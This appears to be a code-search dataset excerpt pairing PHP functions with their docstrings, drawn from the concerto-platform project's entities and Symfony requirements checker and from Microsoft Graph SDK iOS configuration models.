@return boolean | isDynamic | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodePort.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodePort.php | Apache-2.0 |
public function isExposed()
{
return $this->exposed;
} | Returns true if port is exposed.
@return boolean | isExposed | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodePort.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodePort.php | Apache-2.0 |
public function isPointer()
{
return $this->pointer;
} | Returns true if port is pointer.
@return boolean | isPointer | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodePort.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodePort.php | Apache-2.0 |
public function getSourceForConnections()
{
//return $this->getNode()->getFlowTest()->getNodesConnectionsBySourcePort($this);
return $this->sourceForConnections->toArray();
} | Get connections where port is source
@return array | getSourceForConnections | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodePort.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodePort.php | Apache-2.0 |
public function getDestinationForConnections()
{
//return $this->getNode()->getFlowTest()->getNodesConnectionsByDestinationPort($this);
return $this->destinationForConnections->toArray();
} | Get connections where port is destination
@return array | getDestinationForConnections | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodePort.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodePort.php | Apache-2.0 |
public function rDocumentationWindowAction()
{
return $this->genericWindowAction(
'r_documentation_generation_help.html', array(
'root_dir' => $this->rootDir,
'is_win' => AdministrationService::getOS() == AdministrationService::OS_WIN
)
);
} | Extended action with added custom parameters.
@Route("/dialog/r_documentation_generation_help.html", name="Dialog_rdoc")
@return Response | rDocumentationWindowAction | php | campsych/concerto-platform | src/Concerto/PanelBundle/Controller/DialogController.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Controller/DialogController.php | Apache-2.0 |
public function __construct($fulfilled, $testMessage, $helpHtml, $helpText = null, $optional = false)
{
$this->fulfilled = (bool) $fulfilled;
$this->testMessage = (string) $testMessage;
$this->helpHtml = (string) $helpHtml;
$this->helpText = null === $helpText ? strip_tags($this->helpHtml) : (string) $helpText;
$this->optional = (bool) $optional;
} | Constructor that initializes the requirement.
@param bool $fulfilled Whether the requirement is fulfilled
@param string $testMessage The message for testing the requirement
@param string $helpHtml The help text formatted in HTML for resolving the problem
@param string|null $helpText The help text (when null, it will be inferred from $helpHtml, i.e. stripped from HTML tags)
@param bool $optional Whether this is only an optional recommendation not a mandatory requirement | __construct | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function isFulfilled()
{
return $this->fulfilled;
} | Returns whether the requirement is fulfilled.
@return bool true if fulfilled, otherwise false | isFulfilled | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getTestMessage()
{
return $this->testMessage;
} | Returns the message for testing the requirement.
@return string The test message | getTestMessage | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getHelpText()
{
return $this->helpText;
} | Returns the help text for resolving the problem.
@return string The help text | getHelpText | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getHelpHtml()
{
return $this->helpHtml;
} | Returns the help text formatted in HTML.
@return string The HTML help | getHelpHtml | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function isOptional()
{
return $this->optional;
} | Returns whether this is only an optional recommendation and not a mandatory requirement.
@return bool true if optional, false if mandatory | isOptional | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function __construct($cfgName, $evaluation, $approveCfgAbsence = false, $testMessage = null, $helpHtml = null, $helpText = null, $optional = false)
{
$cfgValue = ini_get($cfgName);
if (is_callable($evaluation)) {
if (null === $testMessage || null === $helpHtml) {
throw new InvalidArgumentException('You must provide the parameters testMessage and helpHtml for a callback evaluation.');
}
$fulfilled = call_user_func($evaluation, $cfgValue);
} else {
if (null === $testMessage) {
$testMessage = sprintf('%s %s be %s in php.ini',
$cfgName,
$optional ? 'should' : 'must',
$evaluation ? 'enabled' : 'disabled'
);
}
if (null === $helpHtml) {
$helpHtml = sprintf('Set <strong>%s</strong> to <strong>%s</strong> in php.ini<a href="#phpini">*</a>.',
$cfgName,
$evaluation ? 'on' : 'off'
);
}
$fulfilled = $evaluation == $cfgValue;
}
parent::__construct($fulfilled || ($approveCfgAbsence && false === $cfgValue), $testMessage, $helpHtml, $helpText, $optional);
} | Constructor that initializes the requirement.
@param string $cfgName The configuration name used for ini_get()
@param bool|callback $evaluation Either a boolean indicating whether the configuration should evaluate to true or false,
or a callback function receiving the configuration value as parameter to determine the fulfillment of the requirement
@param bool $approveCfgAbsence If true the Requirement will be fulfilled even if the configuration option does not exist, i.e. ini_get() returns false.
This is helpful for abandoned configs in later PHP versions or configs of an optional extension, like Suhosin.
Example: You require a config to be true but PHP later removes this config and defaults it to true internally.
@param string|null $testMessage The message for testing the requirement (when null and $evaluation is a boolean a default message is derived)
@param string|null $helpHtml The help text formatted in HTML for resolving the problem (when null and $evaluation is a boolean a default help is derived)
@param string|null $helpText The help text (when null, it will be inferred from $helpHtml, i.e. stripped from HTML tags)
@param bool $optional Whether this is only an optional recommendation not a mandatory requirement | __construct | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getIterator()
{
return new ArrayIterator($this->requirements);
} | Gets the current RequirementCollection as an Iterator.
@return Traversable A Traversable interface | getIterator | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function addRecommendation($fulfilled, $testMessage, $helpHtml, $helpText = null)
{
$this->add(new Requirement($fulfilled, $testMessage, $helpHtml, $helpText, true));
} | Adds an optional recommendation.
@param bool $fulfilled Whether the recommendation is fulfilled
@param string $testMessage The message for testing the recommendation
@param string $helpHtml The help text formatted in HTML for resolving the problem
@param string|null $helpText The help text (when null, it will be inferred from $helpHtml, i.e. stripped from HTML tags) | addRecommendation | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function addPhpIniRequirement($cfgName, $evaluation, $approveCfgAbsence = false, $testMessage = null, $helpHtml = null, $helpText = null)
{
$this->add(new PhpIniRequirement($cfgName, $evaluation, $approveCfgAbsence, $testMessage, $helpHtml, $helpText, false));
} | Adds a mandatory requirement in form of a php.ini configuration.
@param string $cfgName The configuration name used for ini_get()
@param bool|callback $evaluation Either a boolean indicating whether the configuration should evaluate to true or false,
or a callback function receiving the configuration value as parameter to determine the fulfillment of the requirement
@param bool $approveCfgAbsence If true the Requirement will be fulfilled even if the configuration option does not exist, i.e. ini_get() returns false.
This is helpful for abandoned configs in later PHP versions or configs of an optional extension, like Suhosin.
Example: You require a config to be true but PHP later removes this config and defaults it to true internally.
@param string $testMessage The message for testing the requirement (when null and $evaluation is a boolean a default message is derived)
@param string $helpHtml The help text formatted in HTML for resolving the problem (when null and $evaluation is a boolean a default help is derived)
@param string|null $helpText The help text (when null, it will be inferred from $helpHtml, i.e. stripped from HTML tags) | addPhpIniRequirement | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function addPhpIniRecommendation($cfgName, $evaluation, $approveCfgAbsence = false, $testMessage = null, $helpHtml = null, $helpText = null)
{
$this->add(new PhpIniRequirement($cfgName, $evaluation, $approveCfgAbsence, $testMessage, $helpHtml, $helpText, true));
} | Adds an optional recommendation in form of a php.ini configuration.
@param string $cfgName The configuration name used for ini_get()
@param bool|callback $evaluation Either a boolean indicating whether the configuration should evaluate to true or false,
or a callback function receiving the configuration value as parameter to determine the fulfillment of the requirement
@param bool $approveCfgAbsence If true the Requirement will be fulfilled even if the configuration option does not exist, i.e. ini_get() returns false.
This is helpful for abandoned configs in later PHP versions or configs of an optional extension, like Suhosin.
Example: You require a config to be true but PHP later removes this config and defaults it to true internally.
@param string $testMessage The message for testing the requirement (when null and $evaluation is a boolean a default message is derived)
@param string $helpHtml The help text formatted in HTML for resolving the problem (when null and $evaluation is a boolean a default help is derived)
@param string|null $helpText The help text (when null, it will be inferred from $helpHtml, i.e. stripped from HTML tags) | addPhpIniRecommendation | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function addCollection(RequirementCollection $collection)
{
$this->requirements = array_merge($this->requirements, $collection->all());
} | Adds a requirement collection to the current set of requirements.
@param RequirementCollection $collection A RequirementCollection instance | addCollection | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function all()
{
return $this->requirements;
} | Returns both requirements and recommendations.
@return Requirement[] | all | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getRequirements()
{
$array = array();
foreach ($this->requirements as $req) {
if (!$req->isOptional()) {
$array[] = $req;
}
}
return $array;
} | Returns all mandatory requirements.
@return Requirement[] | getRequirements | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getFailedRequirements()
{
$array = array();
foreach ($this->requirements as $req) {
if (!$req->isFulfilled() && !$req->isOptional()) {
$array[] = $req;
}
}
return $array;
} | Returns the mandatory requirements that were not met.
@return Requirement[] | getFailedRequirements | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getRecommendations()
{
$array = array();
foreach ($this->requirements as $req) {
if ($req->isOptional()) {
$array[] = $req;
}
}
return $array;
} | Returns all optional recommendations.
@return Requirement[] | getRecommendations | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getFailedRecommendations()
{
$array = array();
foreach ($this->requirements as $req) {
if (!$req->isFulfilled() && $req->isOptional()) {
$array[] = $req;
}
}
return $array;
} | Returns the recommendations that were not met.
@return Requirement[] | getFailedRecommendations | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function hasPhpIniConfigIssue()
{
foreach ($this->requirements as $req) {
if (!$req->isFulfilled() && $req instanceof PhpIniRequirement) {
return true;
}
}
return false;
} | Returns whether a php.ini configuration is not correct.
@return bool php.ini configuration problem? | hasPhpIniConfigIssue | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getPhpIniConfigPath()
{
return get_cfg_var('cfg_file_path');
} | Returns the PHP configuration file (php.ini) path.
@return string|false php.ini file path | getPhpIniConfigPath | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function __construct()
{
/* mandatory requirements follow */
$installedPhpVersion = PHP_VERSION;
$requiredPhpVersion = $this->getPhpRequiredVersion();
$this->addRecommendation(
$requiredPhpVersion,
'Vendors should be installed in order to check all requirements.',
'Run the <code>composer install</code> command.',
'Run the "composer install" command.'
);
if (false !== $requiredPhpVersion) {
$this->addRequirement(
version_compare($installedPhpVersion, $requiredPhpVersion, '>='),
sprintf('PHP version must be at least %s (%s installed)', $requiredPhpVersion, $installedPhpVersion),
sprintf('You are running PHP version "<strong>%s</strong>", but Symfony needs at least PHP "<strong>%s</strong>" to run.
Before using Symfony, upgrade your PHP installation, preferably to the latest version.',
$installedPhpVersion, $requiredPhpVersion),
sprintf('Install PHP %s or newer (installed version is %s)', $requiredPhpVersion, $installedPhpVersion)
);
}
$this->addRequirement(
version_compare($installedPhpVersion, '5.3.16', '!='),
'PHP version must not be 5.3.16 as Symfony won\'t work properly with it',
'Install PHP 5.3.17 or newer (or downgrade to an earlier PHP version)'
);
$this->addRequirement(
is_dir(__DIR__.'/../vendor/composer'),
'Vendor libraries must be installed',
'Vendor libraries are missing. Install composer following instructions from <a href="http://getcomposer.org/">http://getcomposer.org/</a>. '.
'Then run "<strong>php composer.phar install</strong>" to install them.'
);
$cacheDir = is_dir(__DIR__.'/../var/cache') ? __DIR__.'/../var/cache' : __DIR__.'/cache';
$this->addRequirement(
is_writable($cacheDir),
'app/cache/ or var/cache/ directory must be writable',
'Change the permissions of either "<strong>app/cache/</strong>" or "<strong>var/cache/</strong>" directory so that the web server can write into it.'
);
$logsDir = is_dir(__DIR__.'/../var/logs') ? __DIR__.'/../var/logs' : __DIR__.'/logs';
$this->addRequirement(
is_writable($logsDir),
'app/logs/ or var/logs/ directory must be writable',
'Change the permissions of either "<strong>app/logs/</strong>" or "<strong>var/logs/</strong>" directory so that the web server can write into it.'
);
if (version_compare($installedPhpVersion, '7.0.0', '<')) {
$this->addPhpIniRequirement(
'date.timezone', true, false,
'date.timezone setting must be set',
'Set the "<strong>date.timezone</strong>" setting in php.ini<a href="#phpini">*</a> (like Europe/Paris).'
);
}
if (false !== $requiredPhpVersion && version_compare($installedPhpVersion, $requiredPhpVersion, '>=')) {
$this->addRequirement(
in_array(@date_default_timezone_get(), DateTimeZone::listIdentifiers(), true),
sprintf('Configured default timezone "%s" must be supported by your installation of PHP', @date_default_timezone_get()),
'Your default timezone is not supported by PHP. Check for typos in your <strong>php.ini</strong> file and have a look at the list of deprecated timezones at <a href="http://php.net/manual/en/timezones.others.php">http://php.net/manual/en/timezones.others.php</a>.'
);
}
$this->addRequirement(
function_exists('iconv'),
'iconv() must be available',
'Install and enable the <strong>iconv</strong> extension.'
);
$this->addRequirement(
function_exists('json_encode'),
'json_encode() must be available',
'Install and enable the <strong>JSON</strong> extension.'
);
$this->addRequirement(
function_exists('session_start'),
'session_start() must be available',
'Install and enable the <strong>session</strong> extension.'
);
$this->addRequirement(
function_exists('ctype_alpha'),
'ctype_alpha() must be available',
'Install and enable the <strong>ctype</strong> extension.'
);
$this->addRequirement(
function_exists('token_get_all'),
'token_get_all() must be available',
'Install and enable the <strong>Tokenizer</strong> extension.'
);
$this->addRequirement(
function_exists('simplexml_import_dom'),
'simplexml_import_dom() must be available',
'Install and enable the <strong>SimpleXML</strong> extension.'
);
if (function_exists('apc_store') && ini_get('apc.enabled')) {
if (version_compare($installedPhpVersion, '5.4.0', '>=')) {
$this->addRequirement(
version_compare(phpversion('apc'), '3.1.13', '>='),
'APC version must be at least 3.1.13 when using PHP 5.4',
'Upgrade your <strong>APC</strong> extension (3.1.13+).'
);
} else {
$this->addRequirement(
version_compare(phpversion('apc'), '3.0.17', '>='),
'APC version must be at least 3.0.17',
'Upgrade your <strong>APC</strong> extension (3.0.17+).'
);
}
}
$this->addPhpIniRequirement('detect_unicode', false);
if (extension_loaded('suhosin')) {
$this->addPhpIniRequirement(
'suhosin.executor.include.whitelist',
create_function('$cfgValue', 'return false !== stripos($cfgValue, "phar");'),
false,
'suhosin.executor.include.whitelist must be configured correctly in php.ini',
'Add "<strong>phar</strong>" to <strong>suhosin.executor.include.whitelist</strong> in php.ini<a href="#phpini">*</a>.'
);
}
if (extension_loaded('xdebug')) {
$this->addPhpIniRequirement(
'xdebug.show_exception_trace', false, true
);
$this->addPhpIniRequirement(
'xdebug.scream', false, true
);
$this->addPhpIniRecommendation(
'xdebug.max_nesting_level',
create_function('$cfgValue', 'return $cfgValue > 100;'),
true,
'xdebug.max_nesting_level should be above 100 in php.ini',
'Set "<strong>xdebug.max_nesting_level</strong>" to e.g. "<strong>250</strong>" in php.ini<a href="#phpini">*</a> to stop Xdebug\'s infinite recursion protection erroneously throwing a fatal error in your project.'
);
}
$pcreVersion = defined('PCRE_VERSION') ? (float) PCRE_VERSION : null;
$this->addRequirement(
null !== $pcreVersion,
'PCRE extension must be available',
'Install the <strong>PCRE</strong> extension (version 8.0+).'
);
if (extension_loaded('mbstring')) {
$this->addPhpIniRequirement(
'mbstring.func_overload',
create_function('$cfgValue', 'return (int) $cfgValue === 0;'),
true,
'string functions should not be overloaded',
'Set "<strong>mbstring.func_overload</strong>" to <strong>0</strong> in php.ini<a href="#phpini">*</a> to disable function overloading by the mbstring extension.'
);
}
/* optional recommendations follow */
if (file_exists(__DIR__.'/../vendor/composer')) {
require_once __DIR__.'/../vendor/autoload.php';
try {
$r = new ReflectionClass('Sensio\Bundle\DistributionBundle\SensioDistributionBundle');
$contents = file_get_contents(dirname($r->getFileName()).'/Resources/skeleton/app/SymfonyRequirements.php');
} catch (ReflectionException $e) {
$contents = '';
}
$this->addRecommendation(
file_get_contents(__FILE__) === $contents,
'Requirements file should be up-to-date',
'Your requirements file is outdated. Run composer install and re-check your configuration.'
);
}
$this->addRecommendation(
version_compare($installedPhpVersion, '5.3.4', '>='),
'You should use at least PHP 5.3.4 due to PHP bug #52083 in earlier versions',
'Your project might malfunction randomly due to PHP bug #52083 ("Notice: Trying to get property of non-object"). Install PHP 5.3.4 or newer.'
);
$this->addRecommendation(
version_compare($installedPhpVersion, '5.3.8', '>='),
'When using annotations you should have at least PHP 5.3.8 due to PHP bug #55156',
'Install PHP 5.3.8 or newer if your project uses annotations.'
);
$this->addRecommendation(
version_compare($installedPhpVersion, '5.4.0', '!='),
'You should not use PHP 5.4.0 due to the PHP bug #61453',
'Your project might not work properly due to the PHP bug #61453 ("Cannot dump definitions which have method calls"). Install PHP 5.4.1 or newer.'
);
$this->addRecommendation(
version_compare($installedPhpVersion, '5.4.11', '>='),
'When using the logout handler from the Symfony Security Component, you should have at least PHP 5.4.11 due to PHP bug #63379 (as a workaround, you can also set invalidate_session to false in the security logout handler configuration)',
'Install PHP 5.4.11 or newer if your project uses the logout handler from the Symfony Security Component.'
);
$this->addRecommendation(
(version_compare($installedPhpVersion, '5.3.18', '>=') && version_compare($installedPhpVersion, '5.4.0', '<'))
||
version_compare($installedPhpVersion, '5.4.8', '>='),
'You should use PHP 5.3.18+ or PHP 5.4.8+ to always get nice error messages for fatal errors in the development environment due to PHP bug #61767/#60909',
'Install PHP 5.3.18+ or PHP 5.4.8+ if you want nice error messages for all fatal errors in the development environment.'
);
if (null !== $pcreVersion) {
$this->addRecommendation(
$pcreVersion >= 8.0,
sprintf('PCRE extension should be at least version 8.0 (%s installed)', $pcreVersion),
'<strong>PCRE 8.0+</strong> is preconfigured in PHP since 5.3.2 but you are using an outdated version of it. Symfony probably works anyway but it is recommended to upgrade your PCRE extension.'
);
}
$this->addRecommendation(
class_exists('DomDocument'),
'PHP-DOM and PHP-XML modules should be installed',
'Install and enable the <strong>PHP-DOM</strong> and the <strong>PHP-XML</strong> modules.'
);
$this->addRecommendation(
function_exists('mb_strlen'),
'mb_strlen() should be available',
'Install and enable the <strong>mbstring</strong> extension.'
);
$this->addRecommendation(
function_exists('utf8_decode'),
'utf8_decode() should be available',
'Install and enable the <strong>XML</strong> extension.'
);
$this->addRecommendation(
function_exists('filter_var'),
'filter_var() should be available',
'Install and enable the <strong>filter</strong> extension.'
);
if (!defined('PHP_WINDOWS_VERSION_BUILD')) {
$this->addRecommendation(
function_exists('posix_isatty'),
'posix_isatty() should be available',
'Install and enable the <strong>php_posix</strong> extension (used to colorize the CLI output).'
);
}
$this->addRecommendation(
extension_loaded('intl'),
'intl extension should be available',
'Install and enable the <strong>intl</strong> extension (used for validators).'
);
if (extension_loaded('intl')) {
// in some WAMP server installations, new Collator() returns null
$this->addRecommendation(
null !== new Collator('fr_FR'),
'intl extension should be correctly configured',
'The intl extension does not behave properly. This problem is typical on PHP 5.3.X x64 WIN builds.'
);
// check for compatible ICU versions (only done when you have the intl extension)
if (defined('INTL_ICU_VERSION')) {
$version = INTL_ICU_VERSION;
} else {
$reflector = new ReflectionExtension('intl');
ob_start();
$reflector->info();
$output = strip_tags(ob_get_clean());
preg_match('/^ICU version +(?:=> )?(.*)$/m', $output, $matches);
$version = $matches[1];
}
$this->addRecommendation(
version_compare($version, '4.0', '>='),
'intl ICU version should be at least 4+',
'Upgrade your <strong>intl</strong> extension with a newer ICU version (4+).'
);
if (class_exists('Symfony\Component\Intl\Intl')) {
$this->addRecommendation(
\Symfony\Component\Intl\Intl::getIcuDataVersion() <= \Symfony\Component\Intl\Intl::getIcuVersion(),
sprintf('intl ICU version installed on your system is outdated (%s) and does not match the ICU data bundled with Symfony (%s)', \Symfony\Component\Intl\Intl::getIcuVersion(), \Symfony\Component\Intl\Intl::getIcuDataVersion()),
'To get the latest internationalization data upgrade the ICU system package and the intl PHP extension.'
);
if (\Symfony\Component\Intl\Intl::getIcuDataVersion() <= \Symfony\Component\Intl\Intl::getIcuVersion()) {
$this->addRecommendation(
\Symfony\Component\Intl\Intl::getIcuDataVersion() === \Symfony\Component\Intl\Intl::getIcuVersion(),
sprintf('intl ICU version installed on your system (%s) does not match the ICU data bundled with Symfony (%s)', \Symfony\Component\Intl\Intl::getIcuVersion(), \Symfony\Component\Intl\Intl::getIcuDataVersion()),
'To avoid internationalization data inconsistencies upgrade the symfony/intl component.'
);
}
}
$this->addPhpIniRecommendation(
'intl.error_level',
create_function('$cfgValue', 'return (int) $cfgValue === 0;'),
true,
'intl.error_level should be 0 in php.ini',
'Set "<strong>intl.error_level</strong>" to "<strong>0</strong>" in php.ini<a href="#phpini">*</a> to inhibit the messages when an error occurs in ICU functions.'
);
}
$accelerator =
(extension_loaded('eaccelerator') && ini_get('eaccelerator.enable'))
||
(extension_loaded('apc') && ini_get('apc.enabled'))
||
(extension_loaded('Zend Optimizer+') && ini_get('zend_optimizerplus.enable'))
||
(extension_loaded('Zend OPcache') && ini_get('opcache.enable'))
||
(extension_loaded('xcache') && ini_get('xcache.cacher'))
||
(extension_loaded('wincache') && ini_get('wincache.ocenabled'))
;
$this->addRecommendation(
$accelerator,
'a PHP accelerator should be installed',
'Install and/or enable a <strong>PHP accelerator</strong> (highly recommended).'
);
if ('WIN' === strtoupper(substr(PHP_OS, 0, 3))) {
$this->addRecommendation(
$this->getRealpathCacheSize() >= 5 * 1024 * 1024,
'realpath_cache_size should be at least 5M in php.ini',
'Setting "<strong>realpath_cache_size</strong>" to e.g. "<strong>5242880</strong>" or "<strong>5M</strong>" in php.ini<a href="#phpini">*</a> may improve performance on Windows significantly in some cases.'
);
}
$this->addPhpIniRecommendation('short_open_tag', false);
$this->addPhpIniRecommendation('magic_quotes_gpc', false, true);
$this->addPhpIniRecommendation('register_globals', false, true);
$this->addPhpIniRecommendation('session.auto_start', false);
$this->addRecommendation(
class_exists('PDO'),
'PDO should be installed',
'Install <strong>PDO</strong> (mandatory for Doctrine).'
);
if (class_exists('PDO')) {
$drivers = PDO::getAvailableDrivers();
$this->addRecommendation(
count($drivers) > 0,
sprintf('PDO should have some drivers installed (currently available: %s)', count($drivers) ? implode(', ', $drivers) : 'none'),
'Install <strong>PDO drivers</strong> (mandatory for Doctrine).'
);
}
} | Constructor that initializes the requirements. | __construct | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
protected function getRealpathCacheSize()
{
$size = ini_get('realpath_cache_size');
$size = trim($size);
$unit = '';
if (!ctype_digit($size)) {
$unit = strtolower(substr($size, -1, 1));
$size = (int) substr($size, 0, -1);
}
switch ($unit) {
case 'g':
return $size * 1024 * 1024 * 1024;
case 'm':
return $size * 1024 * 1024;
case 'k':
return $size * 1024;
default:
return (int) $size;
}
} | Loads realpath_cache_size from php.ini and converts it to int.
(e.g. 16k is converted to 16384 int)
@return int | getRealpathCacheSize | php | campsych/concerto-platform | var/SymfonyRequirements.php | https://github.com/campsych/concerto-platform/blob/master/var/SymfonyRequirements.php | Apache-2.0 |
public function getClassroomAppForceUnpromptedScreenObservation()
{
if (array_key_exists("classroomAppForceUnpromptedScreenObservation", $this->_propDict)) {
return $this->_propDict["classroomAppForceUnpromptedScreenObservation"];
} else {
return null;
}
} | Gets the classroomAppForceUnpromptedScreenObservation
Indicates whether or not to automatically give permission to the teacher of a managed course on the Classroom app to view a student's screen without prompting when the device is in supervised mode.
@return bool|null The classroomAppForceUnpromptedScreenObservation | getClassroomAppForceUnpromptedScreenObservation | php | xiebruce/PicUploader | vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | https://github.com/xiebruce/PicUploader/blob/master/vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | MIT |
public function setClassroomAppForceUnpromptedScreenObservation($val)
{
$this->_propDict["classroomAppForceUnpromptedScreenObservation"] = boolval($val);
return $this;
} | Sets the classroomAppForceUnpromptedScreenObservation
Indicates whether or not to automatically give permission to the teacher of a managed course on the Classroom app to view a student's screen without prompting when the device is in supervised mode.
@param bool $val The classroomAppForceUnpromptedScreenObservation
@return IosGeneralDeviceConfiguration | setClassroomAppForceUnpromptedScreenObservation | php | xiebruce/PicUploader | vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | https://github.com/xiebruce/PicUploader/blob/master/vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | MIT |
public function getClassroomForceAutomaticallyJoinClasses()
{
if (array_key_exists("classroomForceAutomaticallyJoinClasses", $this->_propDict)) {
return $this->_propDict["classroomForceAutomaticallyJoinClasses"];
} else {
return null;
}
} | Gets the classroomForceAutomaticallyJoinClasses
Indicates whether or not to automatically give permission to the teacher's requests, without prompting the student, when the device is in supervised mode.
@return bool|null The classroomForceAutomaticallyJoinClasses | getClassroomForceAutomaticallyJoinClasses | php | xiebruce/PicUploader | vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | https://github.com/xiebruce/PicUploader/blob/master/vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | MIT |
public function setClassroomForceAutomaticallyJoinClasses($val)
{
$this->_propDict["classroomForceAutomaticallyJoinClasses"] = boolval($val);
return $this;
} | Sets the classroomForceAutomaticallyJoinClasses
Indicates whether or not to automatically give permission to the teacher's requests, without prompting the student, when the device is in supervised mode.
@param bool $val The classroomForceAutomaticallyJoinClasses
@return IosGeneralDeviceConfiguration | setClassroomForceAutomaticallyJoinClasses | php | xiebruce/PicUploader | vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | https://github.com/xiebruce/PicUploader/blob/master/vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | MIT |
public function getClassroomForceRequestPermissionToLeaveClasses()
{
if (array_key_exists("classroomForceRequestPermissionToLeaveClasses", $this->_propDict)) {
return $this->_propDict["classroomForceRequestPermissionToLeaveClasses"];
} else {
return null;
}
} | Gets the classroomForceRequestPermissionToLeaveClasses
Indicates whether a student enrolled in an unmanaged course via Classroom will request permission from the teacher when attempting to leave the course (iOS 11.3 and later).
@return bool|null The classroomForceRequestPermissionToLeaveClasses | getClassroomForceRequestPermissionToLeaveClasses | php | xiebruce/PicUploader | vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | https://github.com/xiebruce/PicUploader/blob/master/vendor/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/IosGeneralDeviceConfiguration.php | MIT |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.